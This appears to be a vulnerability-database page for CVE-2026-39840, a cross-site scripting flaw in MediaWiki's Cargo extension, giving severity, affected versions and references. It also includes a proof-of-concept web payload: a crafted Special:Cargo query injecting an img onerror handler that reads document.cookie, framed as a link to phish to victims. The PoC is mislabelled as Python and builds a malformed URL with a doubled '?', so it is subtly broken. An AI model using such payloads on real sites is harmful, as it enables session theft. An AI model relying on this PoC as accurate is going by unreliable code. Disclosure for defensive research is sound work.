CVE-2026-39840

Description

Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Wikimedia Foundation Mediawiki - Cargo Extension allows XSS Targeting Non-Script Elements.This issue affects Mediawiki - Cargo Extension: before 3.8.7.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mediawiki:cargo:*:*:*:*:*:*:*:* - VULNERABLE

Mediawiki - Cargo Extension < 3.8.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-39840
Conceptual example demonstrating payload injection in Cargo query parameters.
-->
<html>
  <body>
    <script>
      // Hypothetical malicious link to be sent to victim
      // The payload attempts to inject an image tag with an onerror handler
      var targetUrl = "https://target-wiki.com/index.php?title=Special:Cargo";
      var maliciousParam = "query=SELECT%20*%20FROM%20%27table%27%20WHERE%20_value%27%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E%27";
      
      // In a real attack scenario, the attacker would phish the user to click:
      // targetUrl + "?" + maliciousParam
      console.log("Malicious Link:", targetUrl + "?" + maliciousParam);
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39840
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39840
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39840/
[4] VulDB https://vuldb.com/cve/CVE-2026-39840
[5] https://gerrit.wikimedia.org/r/c/mediawiki/extensions/Cargo/+/1237966
[6] https://phabricator.wikimedia.org/T416368

Raw JSON Data

JSON

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